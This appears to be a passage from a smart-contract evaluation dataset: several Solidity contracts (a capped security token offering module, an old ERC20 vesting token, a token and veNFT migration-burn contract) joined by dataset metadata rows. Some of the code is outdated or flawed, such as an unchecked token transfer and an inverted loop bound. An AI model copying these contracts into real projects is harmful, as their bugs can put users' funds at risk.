function checkPermission(address _delegate, address _module, bytes32 _perm) public view returns(bool);
function getModule(uint8 _moduleType, uint _moduleIndex) public view returns (bytes32, address);
function getModuleByName(uint8 _moduleType, bytes32 _name) public view returns (bytes32, address);
function totalSupplyAt(uint256 _checkpointId) public view returns(uint256);
function balanceOfAt(address _investor, uint256 _checkpointId) public view returns(uint256);
function createCheckpoint() public returns(uint256);
function getInvestorsLength() public view returns(uint256);
}
contract IModuleFactory is Ownable {
ERC20 public polyToken;
uint256 public setupCost;
uint256 public usageCost;
uint256 public monthlySubscriptionCost;
event LogChangeFactorySetupFee(uint256 _oldSetupcost, uint256 _newSetupCost, address _moduleFactory);
event LogChangeFactoryUsageFee(uint256 _oldUsageCost, uint256 _newUsageCost, address _moduleFactory);
event LogChangeFactorySubscriptionFee(uint256 _oldSubscriptionCost, uint256 _newMonthlySubscriptionCost, address _moduleFactory);
event LogGenerateModuleFromFactory(address _module, bytes32 indexed _moduleName, address indexed _moduleFactory, address _creator, uint256 _timestamp);
constructor (address _polyAddress, uint256 _setupCost, uint256 _usageCost, uint256 _subscriptionCost) public {
polyToken = ERC20(_polyAddress);
setupCost = _setupCost;
usageCost = _usageCost;
monthlySubscriptionCost = _subscriptionCost;
}
//Should create an instance of the Module, or throw
function deploy(bytes _data) external returns(address);
function getType() public view returns(uint8);
function getName() public view returns(bytes32);
function getDescription() public view returns(string);
function getTitle() public view returns(string);
function getInstructions() public view returns (string);
function getTags() public view returns (bytes32[]);
//Pull function sig from _data
function getSig(bytes _data) internal pure returns (bytes4 sig) {
uint len = _data.length < 4 ? _data.length : 4;
for (uint i = 0; i < len; i++) {
sig = bytes4(uint(sig) + uint(_data[i]) * (2 ** (8 * (len - 1 - i))));
}
}
function changeFactorySetupFee(uint256 _newSetupCost) public onlyOwner {
emit LogChangeFactorySetupFee(setupCost, _newSetupCost, address(this));
setupCost = _newSetupCost;
}
function changeFactoryUsageFee(uint256 _newUsageCost) public onlyOwner {
emit LogChangeFactoryUsageFee(usageCost, _newUsageCost, address(this));
usageCost = _newUsageCost;
}
function changeFactorySubscriptionFee(uint256 _newSubscriptionCost) public onlyOwner {
emit LogChangeFactorySubscriptionFee(monthlySubscriptionCost, _newSubscriptionCost, address(this));
monthlySubscriptionCost = _newSubscriptionCost;
}
}
contract IModule {
address public factory;
address public securityToken;
bytes32 public constant FEE_ADMIN = "FEE_ADMIN";
ERC20 public polyToken;
constructor (address _securityToken, address _polyAddress) public {
securityToken = _securityToken;
factory = msg.sender;
polyToken = ERC20(_polyAddress);
}
function getInitFunction() public pure returns (bytes4);
//Allows owner, factory or permissioned delegate
modifier withPerm(bytes32 _perm) {
bool isOwner = msg.sender == ISecurityToken(securityToken).owner();
bool isFactory = msg.sender == factory;
require(isOwner||isFactory||ISecurityToken(securityToken).checkPermission(msg.sender, address(this), _perm), "Permission check failed");
_;
}
modifier onlyOwner {
require(msg.sender == ISecurityToken(securityToken).owner(), "Sender is not owner");
_;
}
modifier onlyFactory {
require(msg.sender == factory, "Sender is not factory");
_;
}
modifier onlyFactoryOwner {
require(msg.sender == IModuleFactory(factory).owner(), "Sender is not factory owner");
_;
}
function getPermissions() public view returns(bytes32[]);
function takeFee(uint256 _amount) public withPerm(FEE_ADMIN) returns(bool) {
require(polyToken.transferFrom(address(this), IModuleFactory(factory).owner(), _amount), "Unable to take fee");
return true;
}
}
contract ISTO is IModule, Pausable {
using SafeMath for uint256;
enum FundraiseType { ETH, POLY }
FundraiseType public fundraiseType;
// Start time of the STO
uint256 public startTime;
// End time of the STO
uint256 public endTime;
function verifyInvestment(address _beneficiary, uint256 _fundsAmount) public view returns(bool) {
return polyToken.allowance(_beneficiary, address(this)) >= _fundsAmount;
}
function getRaisedEther() public view returns (uint256);
function getRaisedPOLY() public view returns (uint256);
function getNumberInvestors() public view returns (uint256);
function pause() public onlyOwner {
require(now < endTime);
super._pause();
}
function unpause(uint256 _newEndDate) public onlyOwner {
require(_newEndDate >= endTime);
super._unpause();
endTime = _newEndDate;
}
function reclaimERC20(address _tokenContract) external onlyOwner {
require(_tokenContract != address(0));
ERC20Basic token = ERC20Basic(_tokenContract);
uint256 balance = token.balanceOf(address(this));
require(token.transfer(msg.sender, balance));
}
}
contract ReentrancyGuard {
bool private reentrancyLock = false;
modifier nonReentrant() {
require(!reentrancyLock);
reentrancyLock = true;
_;
reentrancyLock = false;
}
}
contract CappedSTO is ISTO, ReentrancyGuard {
using SafeMath for uint256;
// Address where funds are collected and tokens are issued to
address public wallet;
// How many token units a buyer gets per wei / base unit of POLY
uint256 public rate;
// Amount of funds raised
uint256 public fundsRaised;
uint256 public investorCount;
// Amount of tokens sold
uint256 public tokensSold;
//How many tokens this STO will be allowed to sell to investors
uint256 public cap;
mapping (address => uint256) public investors;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor (address _securityToken, address _polyAddress) public
IModule(_securityToken, _polyAddress)
{
}
//////////////////////////////////
function () external payable {
buyTokens(msg.sender);
}
function configure(uint256 _startTime,
uint256 _endTime,
uint256 _cap,
uint256 _rate,
uint8 _fundRaiseType,
address _fundsReceiver)
public
onlyFactory
{
require(_rate > 0, "Rate of token should be greater than 0");
require(_fundsReceiver != address(0), "Zero address is not permitted");
require(_startTime >= now && _endTime > _startTime, "Date parameters are not valid");
require(_cap > 0, "Cap should be greater than 0");
startTime = _startTime;
endTime = _endTime;
cap = _cap;
rate = _rate;
wallet = _fundsReceiver;
_check(_fundRaiseType);
}
function getInitFunction() public pure returns (bytes4) {
return bytes4(keccak256("configure(uint256,uint256,uint256,uint256,uint8,address)"));
}
function buyTokens(address _beneficiary) public payable nonReentrant {
require(!paused);
require(fundraiseType == FundraiseType.ETH, "ETH should be the mode of investment");
uint256 weiAmount = msg.value;
_processTx(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function buyTokensWithPoly(uint256 _investedPOLY) public nonReentrant{
require(!paused);
require(fundraiseType == FundraiseType.POLY, "POLY should be the mode of investment");
require(verifyInvestment(msg.sender, _investedPOLY), "Not valid Investment");
_processTx(msg.sender, _investedPOLY);
_forwardPoly(msg.sender, wallet, _investedPOLY);
_postValidatePurchase(msg.sender, _investedPOLY);
}
function capReached() public view returns (bool) {
return tokensSold >= cap;
}
function getRaisedEther() public view returns (uint256) {
if (fundraiseType == FundraiseType.ETH)
return fundsRaised;
else
return 0;
}
function getRaisedPOLY() public view returns (uint256) {
if (fundraiseType == FundraiseType.POLY)
return fundsRaised;
else
return 0;
}
function getNumberInvestors() public view returns (uint256) {
return investorCount;
}
function getPermissions() public view returns(bytes32[]) {
bytes32[] memory allPermissions = new bytes32[](0);
return allPermissions;
}
function getSTODetails() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, bool) {
return (startTime,
endTime,
cap,
rate,
fundsRaised,
investorCount,
tokensSold,
(fundraiseType == FundraiseType.POLY));
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
function _processTx(address _beneficiary, uint256 _investedAmount) internal {
_preValidatePurchase(_beneficiary, _investedAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(_investedAmount);
// update state
fundsRaised = fundsRaised.add(_investedAmount);
tokensSold = tokensSold.add(tokens);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender, _beneficiary, _investedAmount, tokens);
_updatePurchasingState(_beneficiary, _investedAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _investedAmount) internal view {
require(_beneficiary != address(0), "Beneficiary address should not be 0x");
require(_investedAmount != 0, "Amount invested should not be equal to 0");
require(tokensSold.add(_getTokenAmount(_investedAmount)) <= cap, "Investment more than cap is not allowed");
require(now >= startTime && now <= endTime, "Offering is closed/Not yet started");
}
function _postValidatePurchase(address , uint256) internal pure {
// optional override
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
require(IST20(securityToken).mint(_beneficiary, _tokenAmount), "Error in minting the tokens");
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
if (investors[_beneficiary] == 0) {
investorCount = investorCount + 1;
}
investors[_beneficiary] = investors[_beneficiary].add(_tokenAmount);
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address , uint256) internal pure {
// optional override
}
function _getTokenAmount(uint256 _investedAmount) internal view returns (uint256) {
return _investedAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
function _check(uint8 _fundraiseType) internal {
require(_fundraiseType == 0 || _fundraiseType == 1, "Not a valid fundraise type");
if (_fundraiseType == 0) {
fundraiseType = FundraiseType.ETH;
}
if (_fundraiseType == 1) {
require(address(polyToken) != address(0), "Address of the polyToken should not be 0x");
fundraiseType = FundraiseType.POLY;
}
}
function _forwardPoly(address _beneficiary, address _to, uint256 _fundsAmount) internal {
polyToken.transferFrom(_beneficiary, _to, _fundsAmount);
}
}
contract CappedSTOFactory is IModuleFactory {
constructor (address _polyAddress, uint256 _setupCost, uint256 _usageCost, uint256 _subscriptionCost) public
IModuleFactory(_polyAddress, _setupCost, _usageCost, _subscriptionCost)
{
}
function deploy(bytes _data) external returns(address) {
if(setupCost > 0)
require(polyToken.transferFrom(msg.sender, owner, setupCost), "Failed transferFrom because of sufficent Allowance is not provided");
//Check valid bytes - can only call module init function
CappedSTO cappedSTO = new CappedSTO(msg.sender, address(polyToken));
//Checks that _data is valid (not calling anything it shouldn't)
require(getSig(_data) == cappedSTO.getInitFunction(), "Provided data is not valid");
require(address(cappedSTO).call(_data), "Un-successfull call");
emit LogGenerateModuleFromFactory(address(cappedSTO), getName(), address(this), msg.sender, now);
return address(cappedSTO);
}
function getType() public view returns(uint8) {
return 3;
}
function getName() public view returns(bytes32) {
return "CappedSTO";
}
function getDescription() public view returns(string) {
return "Capped STO";
}
function getTitle() public view returns(string) {
return "Capped STO";
}
function getInstructions() public view returns(string) {
return "Initialises a capped STO. Init parameters are _startTime (time STO starts), _endTime (time STO ends), _cap (cap in tokens for STO), _rate (POLY/ETH to token rate), _fundRaiseType (whether you are raising in POLY or ETH), _polyToken (address of POLY token), _fundsReceiver (address which will receive funds)";
}
function getTags() public view returns(bytes32[]) {
bytes32[] memory availableTags = new bytes32[](4);
availableTags[0] = "Capped";
availableTags[1] = "Non-refundable";
availableTags[2] = "POLY";
availableTags[3] = "ETH";
return availableTags;
}
}
| 335,069 | 612 |
4e3cefa2ac91d814b36c42d15efb591280548211510fd3d8146ff7f94aafb1ed
| 18,988 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0x729d11fd8ee835a165a6824362bebac8a7831aea.sol
| 3,282 | 11,543 |
pragma solidity ^0.4.11;
contract Controller {
/// @notice Called when `_owner` sends ether to the MiniMe Token contract
/// @param _owner The address that sent the ether to create tokens
/// @return True if the ether is accepted, false if it throws
function proxyPayment(address _owner) payable returns(bool) {
return false;
}
/// @notice Notifies the controller about a token transfer allowing the
/// controller to react if desired
/// @param _from The origin of the transfer
/// @param _to The destination of the transfer
/// @param _amount The amount of the transfer
/// @return False if the controller does not authorize the transfer
function onTransfer(address _from, address _to, uint _amount) returns(bool) {
return false;
}
/// @notice Notifies the controller about an approval allowing the
/// controller to react if desired
/// @param _owner The address that calls `approve()`
/// @param _spender The spender in the `approve()` call
/// @param _amount The amount in the `approve()` call
/// @return False if the controller does not authorize the approval
function onApprove(address _owner, address _spender, uint _amount) returns(bool) {
return false;
}
}
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint;
mapping (address => uint) balances;
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Controlled {
address public controller;
function Controlled() {
controller = msg.sender;
}
function changeController(address _controller) onlyController {
controller = _controller;
}
modifier onlyController {
if (msg.sender != controller) throw;
_;
}
}
contract MintableToken is StandardToken, Controlled {
event Mint(address indexed to, uint value);
event MintFinished();
bool public mintingFinished = false;
uint public totalSupply = 0;
function mint(address _to, uint _amount) onlyController canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() onlyController returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
modifier canMint() {
if (mintingFinished) throw;
_;
}
}
contract LimitedTransferToken is ERC20 {
modifier canTransfer(address _sender, uint _value) {
if (_value > transferableTokens(_sender, uint64(now))) throw;
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender, _value) {
super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from, _value) {
super.transferFrom(_from, _to, _value);
}
function transferableTokens(address holder, uint64 time) constant public returns (uint256) {
return balanceOf(holder);
}
}
contract VestedToken is StandardToken, LimitedTransferToken {
uint256 MAX_GRANTS_PER_ADDRESS = 20;
struct TokenGrant {
address granter; // 20 bytes
uint256 value; // 32 bytes
uint64 cliff;
uint64 vesting;
uint64 start; // 3 * 8 = 24 bytes
bool revokable;
bool burnsOnRevoke; // 2 * 1 = 2 bits? or 2 bytes?
} // total 78 bytes = 3 sstore per operation (32 per sstore)
mapping (address => TokenGrant[]) public grants;
event NewTokenGrant(address indexed from, address indexed to, uint256 value, uint256 grantId);
function grantVestedTokens(address _to,
uint256 _value,
uint64 _start,
uint64 _cliff,
uint64 _vesting,
bool _revokable,
bool _burnsOnRevoke) public {
// Check for date inconsistencies that may cause unexpected behavior
if (_cliff < _start || _vesting < _cliff) {
throw;
}
if (tokenGrantsCount(_to) > MAX_GRANTS_PER_ADDRESS) throw;
uint count = grants[_to].push(TokenGrant(_revokable ? msg.sender : 0, // avoid storing an extra 20 bytes when it is non-revokable
_value,
_cliff,
_vesting,
_start,
_revokable,
_burnsOnRevoke));
transfer(_to, _value);
NewTokenGrant(msg.sender, _to, _value, count - 1);
}
function revokeTokenGrant(address _holder, uint _grantId) public {
TokenGrant grant = grants[_holder][_grantId];
if (!grant.revokable) { // Check if grant was revokable
throw;
}
if (grant.granter != msg.sender) { // Only granter can revoke it
throw;
}
address receiver = grant.burnsOnRevoke ? 0xdead : msg.sender;
uint256 nonVested = nonVestedTokens(grant, uint64(now));
// remove grant from array
delete grants[_holder][_grantId];
grants[_holder][_grantId] = grants[_holder][grants[_holder].length.sub(1)];
grants[_holder].length -= 1;
balances[receiver] = balances[receiver].add(nonVested);
balances[_holder] = balances[_holder].sub(nonVested);
Transfer(_holder, receiver, nonVested);
}
function transferableTokens(address holder, uint64 time) constant public returns (uint256) {
uint256 grantIndex = tokenGrantsCount(holder);
if (grantIndex == 0) return balanceOf(holder); // shortcut for holder without grants
// Iterate through all the grants the holder has, and add all non-vested tokens
uint256 nonVested = 0;
for (uint256 i = 0; i < grantIndex; i++) {
nonVested = nonVested.add(nonVestedTokens(grants[holder][i], time));
}
// Balance - totalNonVested is the amount of tokens a holder can transfer at any given time
uint256 vestedTransferable = balanceOf(holder).sub(nonVested);
// Return the minimum of how many vested can transfer and other value
// in case there are other limiting transferability factors (default is balanceOf)
return SafeMath.min256(vestedTransferable, super.transferableTokens(holder, time));
}
function tokenGrantsCount(address _holder) constant returns (uint index) {
return grants[_holder].length;
}
function calculateVestedTokens(uint256 tokens,
uint256 time,
uint256 start,
uint256 cliff,
uint256 vesting) constant returns (uint256)
{
// Shortcuts for before cliff and after vesting cases.
if (time < cliff) return 0;
if (time >= vesting) return tokens;
// Interpolate all vested tokens.
// As before cliff the shortcut returns 0, we can use just calculate a value
// in the vesting rect (as shown in above's figure)
// vestedTokens = tokens * (time - start) / (vesting - start)
uint256 vestedTokens = tokens.mul(time.sub(start)).div(vesting.sub(start));
return vestedTokens;
}
function tokenGrant(address _holder, uint _grantId) constant returns (address granter, uint256 value, uint256 vested, uint64 start, uint64 cliff, uint64 vesting, bool revokable, bool burnsOnRevoke) {
TokenGrant grant = grants[_holder][_grantId];
granter = grant.granter;
value = grant.value;
start = grant.start;
cliff = grant.cliff;
vesting = grant.vesting;
revokable = grant.revokable;
burnsOnRevoke = grant.burnsOnRevoke;
vested = vestedTokens(grant, uint64(now));
}
function vestedTokens(TokenGrant grant, uint64 time) private constant returns (uint256) {
return calculateVestedTokens(grant.value,
uint256(time),
uint256(grant.start),
uint256(grant.cliff),
uint256(grant.vesting));
}
function nonVestedTokens(TokenGrant grant, uint64 time) private constant returns (uint256) {
return grant.value.sub(vestedTokens(grant, time));
}
function lastTokenIsTransferableDate(address holder) constant public returns (uint64 date) {
date = uint64(now);
uint256 grantIndex = grants[holder].length;
for (uint256 i = 0; i < grantIndex; i++) {
date = SafeMath.max64(grants[holder][i].vesting, date);
}
}
}
/// @title Artcoin (ART) - democratizing culture.
contract Artcoin is MintableToken, VestedToken {
string public constant name = 'Artcoin';
string public constant symbol = 'ART';
uint public constant decimals = 18;
function() public payable {
if (isContract(controller)) {
if (!Controller(controller).proxyPayment.value(msg.value)(msg.sender)) throw;
} else {
throw;
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == address(0)) return false;
assembly {
size := extcodesize(_addr)
}
return size > 0;
}
}
| 222,826 | 613 |
e088d94bdf7cbdd46991e482c3722b20ce8f25a6565a7bbc3b256d4b9b3d707a
| 21,211 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/e1/e10f5b28b369b6c83b016219fbb312347e20f55d_MigrationBurn.sol
| 3,951 | 16,047 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
}
interface IVe {
struct LockedBalance {
int128 amount;
uint256 end;
}
function safeTransferFrom(address,
address,
uint256) external;
function locked(uint256) external view returns (LockedBalance memory);
function balanceOf(address) external view returns (uint256);
function tokenOfOwnerByIndex(address, uint256)
external
view
returns (uint256);
function attachments(uint256) external view returns (uint256);
function voted(uint256) external view returns (bool);
function isApprovedOrOwner(address, uint256) external view returns (bool);
}
library SafeCast {
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
}
contract MigrationBurn {
address public constant deadAddress =
0x000000000000000000000000000000000000dEaD; // dead address to send burned tokens to
uint256 public constant burnStartTime = 1661990400; // Sept 1, 2022, 00:00:00 UTC
// Storage slots start here
address public owner;
uint256 internal _unlocked = 1; // For simple reentrancy check
uint256 public deadline; // No tokens can be burned after this date
address[] public validBurnableTokenAddresses; // List of all valid burnable ERC20 token addresses
mapping(address => bool) public tokenIsBurnable; // Mapping to keep track whether a specific token is burnable
mapping(address => mapping(address => uint256))
public tokensBurnedByAccount; // tokensBurnedByAccount[tokenAddress][accountAddress]
mapping(address => uint256) public tokensBurnedByToken; // Total tokens burned by token address
mapping(address => mapping(uint256 => uint256)) public veNftBurnedIndexById; // tokenId index in array of user burned veNFTs
mapping(address => uint256[]) public veNftBurnedIdByIndex; // array of veNFT tokenIds a user has burned
mapping(address => uint256) public veNftBurnedAmountByAccount; // total SOLID equivalent burned via veNFT of a user
uint256 public veNftBurnedAmountTotal; // total SOLID equivalent burned via veNFTs (does not include Convex layer burn amounts)
IVe public veNft;
struct Token {
address id; // Token address
string name; // Token name
string symbol; // Token symbol
uint256 decimals; // Token decimals
uint256 balance; // Token balance
uint256 burned; // Tokens burned
bool approved; // Did user approve tokens to be burned
}
struct VeNft {
uint256 id; // NFT ID
uint256 balance; // Balance for user
uint256 end; // Lock end time
uint256 burned; // True if burned
bool attached; // True if NFT attached to a gauge
bool voted; // True if NFT needs to reset votes
bool lockedForFourYears; // True if locked for ~4 years
bool approved; // True if approved for burn
}
// Simple reentrancy check
modifier lock() {
require(_unlocked == 1);
_unlocked = 2;
_;
_unlocked = 1;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
// Only allow burning for predefined period
modifier onlyBurnPeriod() {
require(block.timestamp < deadline, "Burn period over");
_;
}
// Only allow sending to dead address after predefined period and a week to issue refunds
modifier onlyAfterBurnPeriod() {
require(block.timestamp > deadline + 1 weeks, "Burn period not over");
_;
}
constructor(address[] memory _validBurnableTokenAddresses,
address _veNftAddress) {
validBurnableTokenAddresses = _validBurnableTokenAddresses; // Set burn token addresses
owner = msg.sender;
// Set burn token mapping
for (uint256 i = 0; i < _validBurnableTokenAddresses.length; i++) {
tokenIsBurnable[_validBurnableTokenAddresses[i]] = true;
}
deadline = burnStartTime + 30 days; // Set deadline
veNft = IVe(_veNftAddress); // Set veNFT interface
}
function transferOwnership(address newOwner) external onlyOwner {
owner = newOwner;
}
function extendDeadline(uint256 _newDeadline) external onlyOwner {
require(_newDeadline > deadline,
"New dealdine must be longer than existing deadline");
deadline = _newDeadline;
}
function burn(address tokenAddress) external lock onlyBurnPeriod {
require(tokenIsBurnable[tokenAddress], "Invalid burn token"); // Only allow burning on valid burn tokens
uint256 amountToBurn = IERC20(tokenAddress).balanceOf(msg.sender); // Fetch user token balance
IERC20(tokenAddress).transferFrom(msg.sender,
address(this),
amountToBurn); // Transfer burn tokens from msg.sender to burn contract
tokensBurnedByAccount[tokenAddress][msg.sender] += amountToBurn; // Record burned token and amount
tokensBurnedByToken[tokenAddress] += amountToBurn; // Increment global token amount burned for this token
}
function burnVeNft(uint256 tokenId) external lock onlyBurnPeriod {
IVe.LockedBalance memory _locked = veNft.locked(tokenId); // Retrieve NFT lock data
// Require the veNFT to locked for 4 years with a grace period of one week
require(_locked.end > block.timestamp + 4 * 365 days - 1 weeks,
"Please lock your veNFT for 4 years");
veNft.safeTransferFrom(msg.sender, address(this), tokenId); // Transfer veNFT
// Increment locked amount per user
veNftBurnedAmountByAccount[msg.sender] += SafeCast.toUint256(_locked.amount);
veNftBurnedAmountTotal += SafeCast.toUint256(_locked.amount); // Increment total SOLID burned via veNFTs
// record index of tokenId at the end of array of user burned NFT
veNftBurnedIndexById[msg.sender][tokenId] = veNftBurnedIdByIndex[
msg.sender
].length;
veNftBurnedIdByIndex[msg.sender].push(tokenId); // Add NFT to list of burned NFTs
}
function refund(address accountAddress, address tokenAddress)
external
lock
onlyOwner
{
// Fetch amount of tokens to return
uint256 amountToReturn = tokensBurnedByAccount[tokenAddress][
accountAddress
];
tokensBurnedByAccount[tokenAddress][accountAddress] = 0; // Set user token balance to zero
IERC20(tokenAddress).transfer(accountAddress, amountToReturn); // Return tokens to user
tokensBurnedByToken[tokenAddress] -= amountToReturn; // Decrement global token amount burned for this token
}
function refundVeNft(address accountAddress, uint256 tokenId)
external
lock
onlyOwner
{
uint256 index = veNftBurnedIndexById[accountAddress][tokenId]; // Get index of tokenId in user array
assert(veNftBurnedIdByIndex[accountAddress][index] == tokenId); // Sanity check, see if requested IDs are the same
delete veNftBurnedIndexById[accountAddress][tokenId]; // Delete index for tokenId
// Fetch last NFT ID in array
uint256 lastId = veNftBurnedIdByIndex[accountAddress][
veNftBurnedIdByIndex[accountAddress].length - 1
];
veNftBurnedIdByIndex[accountAddress][index] = lastId; // Update token Id by index
veNftBurnedIndexById[accountAddress][lastId] = index; // Update index by token ID
veNftBurnedIdByIndex[accountAddress].pop(); // Remove last token ID
veNft.safeTransferFrom(address(this), accountAddress, tokenId); // Transfer veNFT
IVe.LockedBalance memory _locked = veNft.locked(tokenId); // Fetch locked balance of NFT
// Decrement locked amount per user
veNftBurnedAmountByAccount[accountAddress] -= SafeCast.toUint256(_locked.amount);
veNftBurnedAmountTotal -= SafeCast.toUint256(_locked.amount); // Decrement total SOLID burned via veNFTs
}
function sendTokensToDead() external onlyAfterBurnPeriod onlyOwner {
// Iterate through all valid burnable tokens
for (uint256 burnableTokenIdx = 0;
burnableTokenIdx < validBurnableTokenAddresses.length;
burnableTokenIdx++) {
IERC20 _token = IERC20(validBurnableTokenAddresses[burnableTokenIdx]); // Fetch ERC20 interface for the current token
uint256 balance = _token.balanceOf(address(this)); // Fetch burned token balance
_token.transfer(deadAddress, balance); // Transfer tokens to dead address
}
}
function sendVeNftsToDead(uint256 maxRuns)
external
onlyAfterBurnPeriod
onlyOwner
{
uint256 burnedVeNfts = veNft.balanceOf(address(this));
// replace maxRuns with owned amount if applicable
if (maxRuns < burnedVeNfts) {
maxRuns = burnedVeNfts;
}
// Iterate through burned veNFTs up to maxRuns
for (uint256 tokenIdx; tokenIdx < maxRuns; tokenIdx++) {
// Fetch first item since last item would've been removed from the array
uint256 tokenId = veNft.tokenOfOwnerByIndex(address(this), 0);
veNft.safeTransferFrom(address(this), deadAddress, tokenId); // Transfer veNFT to dead address
}
}
function veNftByAccount(address accountAddress)
external
view
returns (VeNft[] memory)
{
uint256 veNftsOwned = veNft.balanceOf(accountAddress); // Fetch owned number of veNFTs
uint256 burnedVeNfts = veNftBurnedIdByIndex[accountAddress].length; // Fetch burned number of veNFTs
VeNft[] memory _veNfts = new VeNft[](veNftsOwned + burnedVeNfts); // Define return array
// Loop through owned NFTs and log info
for (uint256 tokenIdx; tokenIdx < veNftsOwned; tokenIdx++) {
// Fetch veNFT tokenId
uint256 tokenId = veNft.tokenOfOwnerByIndex(accountAddress,
tokenIdx);
IVe.LockedBalance memory locked = veNft.locked(tokenId); // Fetch veNFT lock data
uint256 lockedAmount = SafeCast.toUint256(locked.amount); // Cast locked amount to uint256
// Populate struct fields
_veNfts[tokenIdx] = VeNft({
id: tokenId,
balance: lockedAmount, // veNFT locked amount int128->uint256
end: locked.end, // veNFT unlock time
burned: 0, // Assumed not burned since it's still in user's address
attached: veNft.attachments(tokenId) > 0, // Whether veNFT is attached to gauges
voted: veNft.voted(tokenId), // True if NFT needs to reset votes
lockedForFourYears: locked.end >
block.timestamp + 4 * 365 days - 1 weeks, // Locked for 4 years or not, with 1 week grace period
approved: veNft.isApprovedOrOwner(address(this), tokenId) ==
true // veNft approved for burn or not
});
}
// Loop through burned NFTs and log info
for (uint256 tokenIdx; tokenIdx < burnedVeNfts; tokenIdx++) {
// Fetch veNFT tokenId
uint256 tokenId = veNftBurnedIdByIndex[accountAddress][tokenIdx];
IVe.LockedBalance memory locked = veNft.locked(tokenId); // Fetch veNFT lock data
uint256 lockedAmount = SafeCast.toUint256(locked.amount); // Cast locked amount to uint256
// Populate struct fields
_veNfts[tokenIdx + veNftsOwned] = VeNft({
id: tokenId,
balance: 0, // Assume zero since user no longer owns the NFT
end: locked.end, // veNFT unlock time
burned: lockedAmount, // Assumed burned since it's in burn address
attached: false, // Assume false since it's already burned
voted: false, // Assume false since it's already burned
lockedForFourYears: true, // Assume true since it's already burned
approved: true // Assume true since it's already burned
});
}
return _veNfts;
}
function burnableTokens(address accountAddress)
external
view
returns (Token[] memory tokens)
{
Token[] memory _tokens = new Token[](validBurnableTokenAddresses.length); // Create an array of tokens
// Iterate through all valid burnable tokens
for (uint256 burnableTokenIdx = 0;
burnableTokenIdx < validBurnableTokenAddresses.length;
burnableTokenIdx++) {
address tokenAddress = validBurnableTokenAddresses[
burnableTokenIdx
]; // Fetch token address
IERC20 _token = IERC20(tokenAddress); // Fetch ERC20 interface for the current token
uint256 _userBalance = _token.balanceOf(accountAddress); // Fetch token balance
// Fetch burned balance
